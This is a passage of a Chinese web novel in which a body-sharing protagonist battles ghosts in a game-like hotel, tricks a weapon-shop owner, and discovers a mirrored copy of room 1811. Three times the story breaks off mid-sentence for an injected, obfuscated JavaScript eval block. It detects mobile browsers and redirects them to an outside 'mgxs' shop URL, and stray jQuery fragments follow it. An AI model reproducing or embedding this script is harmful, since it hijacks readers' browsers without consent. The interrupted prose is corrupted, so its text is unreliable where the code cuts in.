“小东西,这种荤菜你也下得了嘴?回头让那位洁癖的朋友知道,岂不是又要记我一笔。”那声音透着一股懒洋洋的劲。 小骷髅被捂着嘴丢到一边,在混乱中抬起头,只看到了混乱鬼影里,他主人的一抹侧脸。模样还是睡着前的模样,额前的头发微散下来,嘴角却扯着从未有过的笑。 6. 面具 这是弥笑白又一次从虞青身体里醒来,本以为会看到画皮家里昂贵的水晶吊灯,没想到是这幅“群狼环伺”的场景。 “刚睁眼就摆这么大排场?”弥笑白咕哝了一句,一把钳住面前那只鬼物的惨白脖颈,猛拽到近处。 鬼物原本只是想戳一下这个人,试试能不能碰到他。没想到被对方反客为主,当即一愣! “你好,不知道方不方便把瞳仁和牙露出来?我好确认一下,你们算变形的人还是鬼。”弥笑白冲那鬼物说,听起来有商有量,语气甚至非常友善。 ……如果他的手没有钳住鬼物脖子的话。 那鬼物终于反应过来,发出“嗬——”的低吼,甩着扭曲的胳膊就要给他两巴掌。利爪带着寒光和血味,猛抓向弥笑白的眼睛,誓要将这人的眼珠生生抠下来。 “那看来不太方便。”弥笑白有点遗憾地说。 他以难以想象的速度,避开鬼物利爪,转瞬绕到它身后。反钳住鬼怪挥舞的胳膊,蹬住对方后腰,猛地一踩。 咔嚓一声! 鬼怪折扭在地,被弥笑白攥住滴水的头发,猛地一拽—— 白生生的脸盘被迫仰起,露出全黑如洞的眼睛,以及嘴里尖细如针的牙。 “太好了。” 完全不是人。 “我处理人向来不在行。”他冲被踩着的鬼物笑笑,“但对付你就熟练很多,只要——” 他拖着腔调,转头扫了一眼,看到桌上那支笔时眼睛一弯。 床上的小猫瞬间领悟。 它窜过去,叼起笔蹦到弥笑白身边。 “乖孩子。”弥笑白拍了一下小猫脑袋。他拿了笔,咬掉笔帽,语音含糊地冲鬼物说:“这里条件简陋只有笔,别叫太大声,过程很快。” 说着,他尖利的笔尖落在鬼物脸上。划下第一笔时,笔尖居然隐隐有火星。 他的笔迹一如给虞青留的字条般龙飞凤舞,又比那个有力得多,笔笔都刻进鬼物皮肉。 那鬼物开始尖声嚎叫! 有那么一瞬间,窗外的风声似乎都凄厉了一倍,震得满屋鬼物俱有些迟疑。 就连之前哈过他好几回的骷髅小猫,都翘直了尾巴,睁大眼睛等后续。 等了得有十几秒…… 等到弥笑白写完停笔,甚至那鬼物都不再嚎叫,整个屋里一片死寂,无事发生。 骷髅小猫:“?” 鬼物:“?” 弥笑白:“……?” 预计中的灰飞烟灭并没有发生。 那鬼物除了脸上多了鬼画符的印子,连根头发都没少。 这和料想的完全不一样,搞蒙了一屋子的猫猫鬼鬼。 “稍等,我确认一下。”弥笑白长手一伸,够到床上的手机。 他点开桌面身份码,往下滑拉,看到了人物信息面板第二页: 玩家昵称:^^ 等级:1 血量:异常 敏捷:异常 武力:异常 灵力:异常 以上信息均检测到人物数值异常,判定为bug,全部限制为1级,在此副本内,数值跟随人物等级同步提升。 1级??? 弥笑白:“……” 副本里的怪物向来比玩家等级高不少。正常玩家完成任务、不断升级的情况下,到了副本后期才勉强有一战之力。 顶着1级的数值,要去强杀,实在有点开玩笑了。 弥笑白收起手机,转头看向地上蹲等的小骷髅,眨了眨眼说:“坏了。” 小骷髅:“……” “那现在只剩一个办法了。”弥笑白轻声道:“一会爪子抓紧点,万一丢了,我很难向人交代的。” 话音落下的瞬间,他一把捞起小骷髅,抬脚就跑。 满屋鬼物瞬间狂意疯长,混杂着被耍弄的愤怒羞恼,狰狞扭动着,一拥而上。 * 走廊里从来没有充斥过如此尖利的鬼嚎,鬼物们急速爬行的同时,湿漉漉的头发也沿着墙壁、天花板、地毯无限疯长。 弥笑白就是在这样的追逐中,带着骷髅小猫,绕行于酒店各层。 漂亮朋友昂贵的西装外套剪裁太过合身,有些施展不开。 他便脱了外套搭在手里,恰好蒙住骷髅小猫的头。 走廊墙面上高高低低挂了很多白色面具,间或夹杂着长长的玻璃镜,显得鬼影幢幢。 弥笑白从一闪而过的镜面里,看到自己此时的脸。 面容被副本调整得很普通,和虞青高挑修长的身形有些不搭。 他左看右看,实在不顺眼,便摘了墙上一只白色面具戴在脸上。 他笑着拽了把扶手刹住急转,又下一层楼。 这样的追逐,竟然没让他显得狼狈。 弥笑白中途甚至有时间掏出手机,在队伍频道里匆匆留了几句语音—— ^^:请教个问题,你们在这酒店有没有碰到过怪物? 三个K:……那可太有了。 ^^:我刚醒,不大熟悉机制。你们碰到怪物是怎么打死的呢?我的意思是,1级有什么趁手好用的武器? 三个K:…… 纯没礼貌:人言否? ^^:什么意思,我这里有点吵闹,顾不上理解。 何止吵闹,他身后全是尖声鬼叫。 好在这手机收音居然还可以,发在群里,只是略有嘈杂,听不出原委。 三个K没懂“吵闹”为什么会影响“理解”,但还是回复道:你也碰到怪了?那就呆在房间千万别动!你没做后续新手任务,可能不知道。房间就是最安全的地方。 纯没礼貌:别指望武器,我们等级太低,暂时没用。你难道想跟他们正面对打??? 弥笑白匆匆扫过这两条信息,想了想,回复道:那倒不会,我胆小。 * 感谢副本机制还算通情达理,没把人物智力也限制为1级。 弥笑白在三个K提醒下,点开系统通知,看到了那几条虞青没点开的消息: 【新手指引任务一:抵达酒店,办理入住】已完成,奖励待领取。 里面确实强调了一句,房间是唯一安全屋。 另一条【Error:玩家住处未消耗资产,检测到错误代码00986716】则让他明白了,为什么他们的房间并不安全。 底下还有一条虞青没做的任务通知: 【新手指引任务二:午夜即将来临,记得买一把防身武器】 看到这条通知的时候,弥笑白一步三阶,刚巧下到一楼。 酒店前台此时无人看管,空空如也,地上四处有血迹,看来之前也不太平。 一大群鬼物尖啸着穷追不舍,浩浩荡荡冲向大厅。 弥笑白扶了酒店大门,步子刹了一瞬。 他抬眼看见不远处有3家昏暗小店,鬼物如此疯狂浩荡,那三家小店的老板也只是探头出来看了一眼,似乎并不害怕鬼物入侵。 弥笑白脑中迅速过了一遍信息,而后打定了主意,直奔那家武器店。 * 果不其然,刚进门,武器店老板就一拍遥控器,把大门关死了。 砰砰砰砰—— 张牙舞爪的鬼物瞬间被挡在门外,砸着门,却没有进来。 似乎只要武器店老板不开门,这里就是安全的。 那为什么系统通知会说,房间是唯一的安全屋呢? 除非这里的安全非常短暂。 比如…… 仅仅在买武器时,是安全的。 想到这里,弥笑白透过面具弯弯的眼睛盯着武器店老板。 老板例行公事道:“怎么来的这么晚?挑武器交钱。” 弥笑白衬衫扣子解了两颗,袖口也在追逐中翻卷到手肘,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495559|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一丝落拓不羁,却并不慌忙。 他不紧不慢,环视一圈:“多少钱?” 老板:“哪个?” 弥笑白:“我这人选择恐惧症,你不如都报一遍?” 老板:“……” 老板似乎没什么耐心,急着下班。但他还是强忍着脾气把刀、弩、符挨个报了一遍。 弥笑白:“符这么贵?” 老板:“废话!这符当年在神明面前走过香,专管超度,现在都绝版了。贵点怎么啦?” 弥笑白是个混蛋,冲他竖了拇指说:“有道理。” “……” 老板总觉得被他嘲讽了,浑身不舒坦。 弥笑白从柜台挑出一副黑色手套,自顾自试戴起来。又指向一把水果小刀问:“这些零碎呢?怎么不见你报价?” 老板:“……” 他拿出小刀,没好气地啪啪敲桌面:“你这人怎么不识好歹!我给你推荐的都是性价比高,也趁手的。你不要那些难不成要这种迷你小刀?买去干什么?削苹果吗?” “万一小的不要钱呢?” 弥笑白语音带笑,在老板听来却像个无赖:“想得美,不可能,这种小刀也得300!你要?” 弥笑白说:“不要,我没钱。” 老板:“……” 他以为自己听错了,又问一遍:“你什么???” 弥笑白摊开手:“我没钱。” 老板气得简直要蹦:“你没钱你来我这干什么?!” 弥笑白:“没什么,就是想验证一些想法。” 老板:“什么想法?” 弥笑白笑了,语气很轻,拖着腔调:“比如……是不是只要我不完成买武器这一步,你这里就还算安全。” 老板:“什、什么?” “再比如,假设这里变得不安全了,究竟是外面的怪物进来了?还是……有什么怪物在里面?” 老板愣住。 “我还有个问题想问你。”弥笑白说,“老板,你的等级应该跟外面的怪物差不多吧?武力灵力都是?当然,最重要的是灵力。” 这个问题太过突然,老板完全没有反应过来。 就在他回神的那一刻,面前这个戴着白色笑脸面具的人,已瞬间闪到他身后,伸手一拍遥控器。 啪的一声! 紧闭的武器店大门骤然打开,外面焦急四窜的鬼物狂扑进来! “你这等级不打怪,站柜台多浪费啊,不如借我用用,你看怎么样?” 听到这句混账话时,老板面色一白。下一秒就见那顾客左手越过他,抓住一只鬼物,掐着它死白的脖颈猛拽至身前。 戴着黑色手套的右手则钳住老板,借用老板的手握住那柄短刀,在鬼物脸上连皮带肉刻下一排字符。 那字符写得龙飞凤舞,老板却越看越觉得熟悉。有些转折笔画,跟他店里卖的超度符,简直一模一样! 他意识到这一点时,刻画的短刀火星迸溅。 外面风声嚎得比之前强了十倍有余,应和着鬼叫,凄厉至极。 而那只被客人攥住的鬼物,在最后一画落下的刹那间,尖啸一声,灰飞烟灭。 * 五分钟后,武器店里满地灰烬。 因为客人分币未花,买卖没做成,武器店老板灰头土脸地站在柜台旁,没有变异,店面也没有消失。 而弥笑白则搭着纤尘不染的西装外套,握着手机倚着门,不知在给什么人发消息。 假如凑近就会看到,他点开了聊天界面里的好友栏。 点开代表自己的纯白头像,写着留言: 亲爱的漂亮朋友,我很抱歉。 因为我的原因,不小心把你拉进了这场副本里。啊对了,希望你能理解“副本”的意思。 如果现在不能,那也没有关系。 就请将它当成一场短暂的冒险。 7. 祝福 “所以你究竟还买不买东西?”武器店老板睨着弥笑白,语气却不敢太强硬。 倚着门的人眼也不抬,混蛋一笑:“不是说了吗,我没钱。” 这笔买卖一天不做,这人就随时能进他的店门。 老板想想那场景就有点生不如死。 他咬咬牙:“没钱是有多少?这样,我多吃点亏,这把300块的小刀,呃,就是你刚刚用的很顺手的这把,30卖你!” 混蛋还在那戳他的手机:“不必,30我也没有。” 老板:“那我送你一把!” 弥笑白:“不要。” 老板急了:“不是!你就算会画超度符,不也要用到刀吗?” 弥笑白终于舍得从手机上抬起头:“比起刀,我其实更需要你的手。你要是这么大方,不如直接剁了给我?” 老板:“……” 这是地狱吗这是? 这活阎王总算发完信息,拎着外套离开时,还不忘冲身后摆了一下手说:“走了老板,回见。” 老板已经在店里找麻绳了,感觉吊死在店门口都比再见到这人痛快。 弥笑白刚往酒店走了没两步,手机忽然嗡嗡震动起来。 有那么一瞬间,他差点以为自己刚刚发出去的消息,竟然同步有了回音。 然而那只是一条系统通知: 恭喜玩家三个K、纯没礼貌、^^、寿司吧完成隐藏成就【不可能的事】,获得特殊道具奖励。 通知同步刷在了世界频道,热聊的玩家们延迟好几秒才看到这条播报。 -刚刚什么玩意飞过去了? -刚刚什么玩意飞过去了? …… 他们复读机似的玩了一会,才终于有人意识到哪里不对。 -等会儿!你们看成就详情了吗?这玩意要求玩家在3级以内,击杀引导关卡的所有BOSS…… -不会是新手副本里那群爬来爬去的鬼吧? -你是说我血条300,它血条3万,我射它一箭,它滴血不掉的玩意儿? -那东西能打????? -那东西能打????? …… -这跟让我3岁倒拔鲁智深有什么区别??? * 没有区别。 所以谁杀的??? 三个K缩在床角。看到这条通知时,他比世界频道还要茫然。 他忍不住在队伍频道问:什么情况? 纯没礼貌立马跟上:我也想问,什么情况?@寿司吧@^^ 弥笑白刚进酒店,就收到了@消息。他点进队伍频道看了一眼,敲了几个字。 ^^:什么情况? 三个K:? 三个K:你也不知道?你之前不是还在问趁手武器吗? 纯没礼貌:但他也说了,他胆小。 弥笑白敲着回复:是啊,我胆小。 三个K:也是,那就很明朗了。@寿司吧,你干的? 纯没礼貌:@寿司吧,你干的吧? 弥笑白依然看热闹似的地接了一句:@寿司吧,你干的吧? 那位队友似乎是孤狼一匹,从最初到现在就没搭理过人。 接连被@,依然没回复。 如果不是辣汤大老爷死的时候,系统播报说小队剩余人数4/5,以及这个突然跳出的成就,三个K和纯没礼貌就要怀疑这队友是否还活着了。 不过弥笑白不在意这些。 既然那位漂亮朋友让他收拾烂摊子,他总得尽可能多做点事,别把那些麻烦琐碎的弱智小任务留给对方。 毕竟那位朋友看着不像脾气很好的样子。 弥笑白点开那条系统通知,领取了那个成就送的特殊奖励。 全息屏在眼前展开,显示奖励已领取: 人物战斗经验+3000 人物等级+2 人物资产+50000 恭喜!你已获得特殊道具:许愿笺x1、事件线索碎片道具x1。 弥笑白先点了一下线索碎片道具: 【半张烧焦的房卡】 您在满地鬼物碎尸残骸中,获得了一张房卡残骸,残骸上残留一股奇怪香味。这座酒店不同等级的房间所用洗漱用品不一样,请用心找寻一下。 看完这条提示时,他感觉口袋里忽然多了一样东西。 掏出来一看,果然是满张烧焦的房卡。 弥笑白又点了一下那个特殊道具【许愿笺】,口袋里再次多了一样东西。 这次是一张类似于书签的薄纸片,上面有繁复花纹和一个“愿”字。 他若有所思地看着这个东西,走到前台,问那位消失了一夜的浮肿男人:“你们这酒店有供台吗?” 前台:“当然有,岛城要是哪家酒店没有供台,就不用开门营业了。” “在哪?” “跟我来。” 前台带着弥笑白去了酒店后院,那里有一座极高的屋子,单独矗立着。 弥笑白走进去,看到了一排高高的神像。屋顶上有一扇方形天窗,冷蓝色的月光从天窗里照下来,淅淅沥沥的雨水沿着窗户缝缓缓流淌。 假如那位帮弥笑白建号的代练站在这里就会发现,这里跟游戏之初选择神明的界面几乎一模一样。 弥笑白进来时,听到身后有说话声。 三个K顶着一头红毛跟纯没礼貌一起走进来。 他被那些白脸鬼物追出了阴影,一进门看到弥笑白的面具,拽着纯没礼貌撒腿就跑。 结果错拽成了前台。 前台:“……” 得亏他回头多看一眼,认出了那身纯黑西装,这才尴尬回来,抱怨道:“朋友你好好的带个面具干什么?吓死我了……” 他这话却没有得到回答。 那位昵称是“^^”的队友站在那些神像面前,正有些出神。 但是面具挡着,没人能看到他的表情。 前台:“反正供台就在这里,你们自便,我先走了。” 三个K掏出一张许愿笺,问会搭理他的纯没礼貌:“我没看攻略,这东西怎么用来着?” 纯没礼貌:“简单啊,你进游戏的时候选的是哪个神明?这不每一个面前都有烛台吗?在你选的那个神明面前把这许愿笺烧了就行。据说会获得神明的祝福。” 三个K是个热心人,自己问完,还怕走神的弥笑白没听见。 “你听见了吗。”他正要再给弥笑白说一遍,就见他走到了一座半塌的神像面前。 三个K:“?” 他伸头一看,神像前的碑牌写着:画皮。 三个K:“???” 三个K:“不对兄弟,不对,你进游戏选的是画皮?” 他满头问号,转头问纯没礼貌:“画皮能选?” 纯没礼貌:“我的不行。他氪金了?” 弥笑白耸了一下肩:“反正我选的时候可以,可能卡上bug了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495560|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 三个K:“我靠怪不得你搁这穿cos装!选画皮有什么特殊之处吗,我可太好奇了!” 弥笑白:“你们的祝福是什么?” 三个K和纯没礼貌迫不及待在自己供奉的神明面前,把许愿笺烧了。 三个K供的是禄姑,随机获得神明祝福,个人资产?30000。 纯没礼貌供的是武神,随机获得神明祝福,人物武力?100,相当于直接跳了2级。 三个K:“诶!许愿一次,神明好感度?10,神明羁绊解锁了。” 纯没礼貌:“我的也是,聊天栏里还多了个神明头像,但输入键是灰的,不知道能干嘛。” “画皮呢?”他们好奇地凑过来,问弥笑白。 彼时弥笑白手里的许愿笺刚好烧到末尾,三双眼睛等了半分钟,终于等到一面全息屏,上面写着两句话: 该神明没有祝福效力。 该神明不可增加好友度。 弥笑白:“……” 然后,那张烧完的许愿笺又被完好地呸了出来,吐在弥笑白手里。 看热闹的三个K咳了一声,干笑道:“看来卡bug问题是有点多哈。” 纯没礼貌没憋住笑了一声。 三个K心说你特么是真没礼貌啊!然后拽着他赶紧远离是非之地。 弥笑白看着手里的许愿笺,眨了眨眼。隔着蒙头的西装对小骷髅说:“还真是毫不意外,我这算供了个祖宗是吗?觉得是你就咪一声。” 骷髅小猫并不敢咪。 不过弥笑白这会儿也没法等它咪了,因为他忽然感觉到了身体微妙的异常—— 心口发热以及微微晕眩。 他神色一变,抬脚就走,匆匆往酒店客房去,大步拐过走廊,拍了电梯按钮。 这家酒店不闹鬼的时候,电梯还算正常,只是速度略慢一点。 弥笑白倚着电梯,看着数字一下一下往上跳,感受着身体越来越明显的变化。 这种感觉之前也有过,如果没弄错的话,这代表着他又要丧失对这具身体的掌控权了。 所以在失去意识之前,他得赶紧回房间。最好能够干干净净、整齐而体面地躺在那张大床上,免得有人不高兴。 然而,天不遂人愿…… 几乎是在这个念头冒出来的那一瞬间,弥笑白眼前一黑。 他所见最后场景是电梯生锈的扶手、蒙尘的灯带以及一面足以看清自己处境的巨大镜面。 弥笑白:“……” 完蛋。 * 有着重度洁癖且极其在意体面的画皮先生一睁眼,所见就是这种场景。 电梯宽大的镜面里映照着他的身影,他戴着一张非常光棍且极其挑衅的笑脸面具,穿着袖口褶皱的衬衫,席地而坐…… 他难以置信地闭上眼又睁开,确认了一下,真的是席地而坐。 他一动,昂贵的西装从左边手肘滑落在地,盖住了一坨东西。 他掀开西装一看,长了白毛的小骷髅像死了一样趴在地上,脸朝下。 这么脏的地面它居然脸朝下,全然不敢直面他的眼睛。 而他另一只手里还松松握着手机。 手机界面停留在好友栏对话框,他在怒火中烧中只看见了最后一句:就请将它当成一场短暂的冒险。 底下的输入框里还有一个正在打的字:对。 虞青:“……” 虞青:“……………………” 8. 复制 他要杀了那个嬉皮笑脸的王八蛋。 如果“^^”本尊站在这里,虞青一定会将他打个半死,狠狠捆起来吊在电梯里,再按下所有楼层按钮,让那狼狈模样上上下下展览个够。 只可惜,对方还占用着他的身体。 虞青给那混蛋记了个“罪加一等”,铁青着脸离开电梯。 这酒店对于强迫症来说还算友好——主楼完全对称,电梯间在正中,面对着1812和1813两间房。虞青出了电梯门往左拐,不用几步就能走到自己房间。 他刚刷开房门,就迎接了新一波冲击。 房里依然有股过于浓烈的花香,桌上还摆着他留给“^^”的字条。但那张大床已不再平整,有人匆忙离去,未能扯直,留下了褶皱。天花板、墙面洇着奇怪水渍,地毯上散落着大团大团的头发。 好一个满目狼藉! 哪怕冷静如画皮先生,此刻也有点崩塌厌世了。 虞青不想靠近那些污迹,更不想碰它们。他警告小骷髅:“只要踩到一点脏东西,就连你一起扫出去。” 吓得刚进门的小骷髅走得同手同脚。 言罢,他绕过那些脏东西走到桌边,捏着骷髅的白毛爪子按了电话免提和前台服务。 小骷髅:“?” 电话一接通,虞青冷声道:“帮我叫打扫。” 那个浮肿男人沙哑的声音从电话那头传来,似乎不敢相信:“你说你要什么?” 虞青:“房内打扫。” 前台:“……” 虞青拧着眉:“你们没有客房清洁吗?” 前台咕哝说:“有是有,只是有点意外罢了。保洁一会过去,还有别的需要吗?没有我就挂了。” 虞青:“有。” “什么?” “干洗服务。” “哈?” 虞青已经有点不耐烦了:“这个也没有?” 前台不情不愿:“……也有,但没人用过。” 虞青:“现在有了。” 前台:“……行。” “对了。”前台想起什么般来,补了一句:“干洗是洗衣房的事,一会儿会致电跟你确认信息。还有别的需要吗?” 虞青看着狼藉的房间略作思忖。 前台终于忍不住了:“……你不会还要房内送餐吧?” 虞青冷静道:“不,想必会很难吃。” 前台被堵得沉默良久,啪地挂了电话。 片刻后,洗衣服务的电话打了过来,确认了一下信息:“是1811号房间吗?” “是。” * 虞青挂了电话,难以忍受地走进浴室。好在浴室没有被糟蹋得像卧房一样凌乱,衣帽间里甚至还有熨斗和烫衣板。 只是画皮先生不太会用,毕竟这些平时都是元叔在干。 其实他也可以使用最基础的一点灵力,让衣物速净速干。但他实在讲究,西装外套不走一遍消毒熨烫就浑身不舒坦。 他仔仔细细洗了澡,从衣柜里扯了件雪白浴袍穿上,又把骷髅小猫扔进浴室。 出来时,门铃刚巧响了。 负责客房打扫的是个黝黑小伙,他对房间里奇怪的痕迹习以为常,熟练清理着各种脏污,还不忘叮嘱虞青:“清理地毯的时候灰尘多,您记得避让一下。” 虞青当然知道避让。在小伙开口前,他就已经避到了房门外的走廊里。 走廊忽然有声响。 一个梳着简单马尾的年轻女人,拿着洗衣袋从电梯间里走出来,向右拐去,停在了一道房门前。 她按响门铃,说了声:“您好,洗衣服务。” 虞青轻轻皱起眉。 年轻女人站在那道房门前等了几秒,再次按响门铃,提高声调:“您好,有人吗?洗衣服务。” 虞青:“如果没弄错的话,应该是我叫的洗衣服务。” “啊?”女人看过来,又低头确认了一下手里的信息:“我刚刚电话确认过,叫洗衣服务的是1811。” 虞青敲了敲自己的门牌:“写着呢,1811。” 女人一愣,想起什么般匆匆走来:“啊!不好意思,刚刚弄错了,希望不要记怪。一共有多少衣物需要干洗?可以填一下干洗单,装进这个袋子里。” “一套西装,一件衬衣。”虞青回房间拿起衣服,正要往洗衣袋里放,却摸到裤子口袋里有东西。 “……” 那混蛋又把什么垃圾往他口袋里塞? 他先掏出了一张薄纸,上面写着花纹繁复的“愿”字。 这东西虞青认识,岛城很多人家里都备着,在供台前点燃一张,可以向供奉的神明许愿。 这张纤薄如蝶翅的东西,重量很轻,却异常昂贵。普通人每次使用它,总要付出相当的代价,但用的人依然很多。 不过相比其他神明,虞青收到的许愿笺并不多。一是因为过往信徒不算多,二来…… 他的信徒许愿时,往往已经没有时间用许愿笺了。 所以他有一只青翅凤蝶,每日绕飞于岛城迷蒙不歇的雨雾里,替他聆听信徒来不及说出口的心愿。 说来可惜,那只青蝶没有跟着他来到这里,否则也能帮忙干点活。 重物提不了,闻闻嗅嗅的事总行吧,只要少让他亲自动手就行。 画皮先生在心里遗憾地想。 虞青收了祈愿笺,又从口袋里掏出一张脏兮兮的东西。 他捏着极小一块角落,定睛细看,发现那是一张被烧过的房卡,缺了半块,看不到房间号,但那张卡上有股怪异的味道。 这味道别人或许闻不出来,但对虞青来说太熟悉了,正是他房里那股过于浓烈的古怪花香。 他被活活熏了一夜,印象深刻。 或许是他捏了一会房卡的缘故,面前突然跳出了一道全息屏,显示: 【半张烧焦的房卡】 您在满地鬼物碎尸残骸中,获得了一张房卡残骸,残骸上残留一股奇怪香味。这座酒店不同等级的房间所用洗漱用品不一样,请用心找寻一下。 虞青:“?” 找寻什么,房卡对应的房间??? 虞青:“……” 那不就是1811? 他捏着那半张破卡,带着一种嫌弃智障的表情,往自己门上一怼。 又一道全息屏蹦了出来: 您似乎找到了半张烧焦房卡的来处!由此获得线索碎片道具x1,请领取后妥善保管。新手副本内,线索进度全队共享,小队线索进度1/5。 这条消息同步刷新在了队伍频道里。 三个K垂死病中惊坐起:??????? 纯没礼貌:我们不是刚拿到半张烧焦的房卡吗???? 不过这些反应,虞青并没有看见。 他面前只有那碍眼的全息屏和不断蹦跶的提示,他点了一下领取,手里那张烧焦房卡顿时有了变化,转换成了一张完整的房卡。 上面有着同样的酒店剪影,另一面写着同样的数字:1811。 唯一的区别是,这张卡的图案布局跟虞青的房卡互成镜像。 这张房卡点一下也有说明: 【一张过去的房卡。】 在那一家五口变成冰冷的尸体之前,他们也曾有过温度以及些许快乐时光,死后也依然对此留恋不舍。所以他们偶尔会回来看看老地方,小心和他们撞上。 “先生?先生!”那个负责洗衣服务的女人叫了两声。 虞青回神,关掉全息屏。 那女人瞥了一眼他手里的房卡,似乎并不想在这里久留,说道:“就这些衣物吗?那我拿走了。” 虞青回了房间,保洁小哥也已经把房间清理干净,看上去一尘不染。 画皮先生对此十分满意。 保洁小哥刚走,他就把骷髅小猫从浴室里捞出来,强行速干,抱怨道:“你没发霉的时候,没这么麻烦。” 小猫一脸委屈。 丢在床上的手机嗡嗡叫着,似乎有很多信息。但在此刻的画皮大人看来,那些全是“^^”应该收拾的烂摊子,跟他无关。 他绝不可能为此多动一步。 更何况,他刚刚已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495561|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给那位混蛋帮过一个忙了,起码帮对方从半张房卡变成了一张房卡。 刷房卡也是要费点劲的,毕竟那张房卡满是污迹,他光是拿起它,那位“^^”就应该感恩戴德。 虞青是这么想的。 但一小时后,他还是拿起了那个烦人透顶的手机,因为它嗡个没完。 究竟是谁这么聒噪? 虞青点开聊天软件,看见曾经安静无言的队伍频道,此刻消息99+ 虞青:“?” 他一点开,无数奇怪照片蜂拥而至,震得他手都发麻。 什么东西? 虞青点开其中几张,粗粗扫看,发现那是某个房间内部的照片。 布局跟他住的这间大差不差。更准确来说,就是一样,只是物品摆放跟这个房间位置相反,是镜像的。 他往上拉了拉,看到了队友的聊天内容。 三个K:我俩实在不好意思躺着蹭成就,就拿获得的那张房卡上楼刷了一下。@寿司吧@^^ 纯没礼貌:对,我们刷卡进去的时候没看到什么特别的东西,为了不漏掉线索,我俩拍了很多房里的照片。 三个K:几乎每个角落都拍到了,也不知道能不能帮到点什么,我俩没什么思路,你们看看呢?实在不行,我们晚点再去一趟1811,还挺近,出电梯右转就是。@寿司吧@^^ 无趣。 虞青原本打算直接关掉手机,就在扫到1811的房号时,停住手指。 有那么一瞬间,他差点以为这两人闯进过自己这间房间。 当然,这件事是不可能发生的,因为虞青始终在卧室里。 那就只有另一种解释了…… 这层楼有两间1811,一间他住着,另一间就在出电梯的右手边。 所以那位洗衣服务的女人才会跑错,而队友们去的也是那一间。 一样的房间号? 对称的位置? 镜像的布置? 虞青再次点开照片,看得仔细了一些,越看眉头拧得越紧。 因为他在其中一张照片里看到了非常古怪的东西—— 照片里拍的是另一间1811的桌面,但桌面上却放着一张熟悉的字条。 那是虞青留给^^的恐吓信,上面写着让对方滚出来收拾烂摊子。 那张纸摆在桌子正中央,非常端正,但上面的字也是镜像的。 他又多点开了几张照片,看到了浴室里挂在洗脸池旁的毛巾—— 10分钟前他刚用那条毛巾给小骷髅擦过毛。 只是他摆在了左边,照片里的位置却在右边。 竟然不止是布置一样,而是完全复制了这里,包括他留下的痕迹。 死物如此,那活物呢? 会有骷髅小猫么?会有他自己么? 如果有他自己的话,镜像的他又是什么呢…… 虞青手里其实有能刷开那间1811的房卡,他跟那个房间甚至同层,只要出门走过中间的1812和1813,就能去看个究竟。 但此刻的他没有动。 因为他还没有拿到干洗完的外衣,只穿浴袍不够体面,他绝不会离开这个房间超过1米。 他想了想,走到电话旁。 这个酒店跟其他一样,有着处处连通的房内通话,只要在电话上按下别人的房间号码就可以。 虞青把全干的头发半扎起来,在电话上按下了1811。 嘟—— 嘟—— 嘟—— …… 电话声响了很久很久,久到他以为绝对不会有人接通的时候,对面滴的一下,有人声传来。 那应该是道陌生的声音,但虞青又觉得似乎在哪听过。 他愣了一瞬,想起来。 在他即将消亡的那天、在进副本的前一刻,他曾在睡梦的尾声听到过这个声音。 像穿过神像缝隙的风。 如果没弄错的话,似乎来自于占据他身体的那个人。 那道声音在电话那头说:“我很意外,居然可以这样跟你说话。” 9. 道歉 “是你?”虞青说。 这道声音让他有种意料之外又意料之中的感觉,复杂而微妙。 电话那头的人一怔:“我正打算自报家门,看来不用。你知道我是谁?” “听过一次你的声音。”虞青说。但他很难解释为什么只听一次就能认出来,便说:“我对讨厌的声音总是印象深刻。” 对面轻轻“啊”了一声:“这样吗,那也挺荣幸的。” 一个有点轻佻的人。 虞青在心里下了结论,跟那个讨厌的昵称一模一样。 于是他板着脸问:“有什么事么?” 对面又笑了:“如果我没弄错的话,是你拨的电话。” 虞青:“……” 他听到这人说话就莫名恼怒,恼忘了。 “所以,你打过来只是为了说一下我很讨厌吗?” 当然不是,其实是想看一下1811现在是什么古怪情况。 但虞青说:“对。” “好的吧。”那人语气有点半真不假的遗憾,他顿了一下又道,“我倒是有话要跟你说,上次聊天框里只来得及写一半。” 虞青直觉不是什么好事:“什么话?” “稍等,我准备了一下。”听声音,那人似乎抖开了一张纸,轻咳了一声,开始念:“道歉信。” 虞青:“?” 有病? “亲爱的……”电话那头的人顿了一下,低声咕哝了一句:“写的时候只希望诚恳,念起来好像有点轻浮。” 诚恳? 虞青只觉得他每一句话末尾都自带一个“^^”。 他啪地把电话挂了,看向一旁的骷髅小猫,拧着眉说:“怎么会有这种人?” 挂完他才反应过来,一通电话半分钟结束,而他对1811的情况依然一无所知,就听了个愚蠢的道歉信。 还只有挑衅的开头。 这么想着,房内电话突然响了起来。 